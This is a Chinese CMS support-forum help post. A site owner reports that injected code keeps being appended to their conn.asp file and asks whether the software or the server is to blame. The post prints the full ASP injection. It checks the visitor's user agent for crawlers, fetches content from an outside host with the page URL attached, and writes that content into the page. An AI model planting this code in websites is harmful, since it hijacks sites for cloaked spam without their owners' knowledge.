账号通
    

账号  

密码  

2413

查看

4

回复
主题:[求助]conn.asp被增加了一段挂马代码,好几次了,郁闷啊 [收藏主题] 转到:  
sqzxorg 当前离线

617

主题

0

广播

0

粉丝
添加关注
级别:六年级

用户积分:859 分
登录次数:119 次
注册时间:2009/8/31
最后登录:2016/5/28
sqzxorg 发表于:2010/8/25 11:01:00   | 显示全部帖子 查看该作者主题 楼主 
做在线知识付费 选科汛云开店
conn.asp被增加了一段挂马代码,好几次了,郁闷啊



版本是最新版本的



以前也出现过好几次这样的情况。



conn.asp在最后面增加的代码如下:



<%

Function getBody(infopageurl)

On Error Resume Next

if infopageurl<>"" then

dim xmlHttp

set xmlHttp=server.createobject("MSXML2.XMLHTTP")

xmlHttp.open "GET",infopageurl,false

xmlHttp.send

getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")

set xmlHttp=nothing

end if

end Function

Function BytesToBstr(body,Cset)

dim objstream  

set objstream = Server.CreateObject("adodb.stream")  

objstream.Type = 1  

objstream.Mode = 3  

objstream.Open  

objstream.Write body  

objstream.Position = 0  

objstream.Type = 2  

objstream.Charset = Cset  

BytesToBstr = objstream.ReadText  

objstream.Close  

set objstream = nothing

End Function

dns = Request.ServerVariables("SERVER_NAME")

path = Request.ServerVariables("PATH_INFO")

qs = Request.ServerVariables("QUERY_STRING")

url= dns&path&"?"&qs

agent = Request.ServerVariables("HTTP_USER_AGENT")

tz = "http"

if Instr(agent,tz)>0 then

response.write getBody("http://www.newconn.info/plus/index.php?

dn="&url)

end if

%>





请问这个是程序问题还是服务器问题呢?

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行0.15625秒 powered by KesionCMS 9.0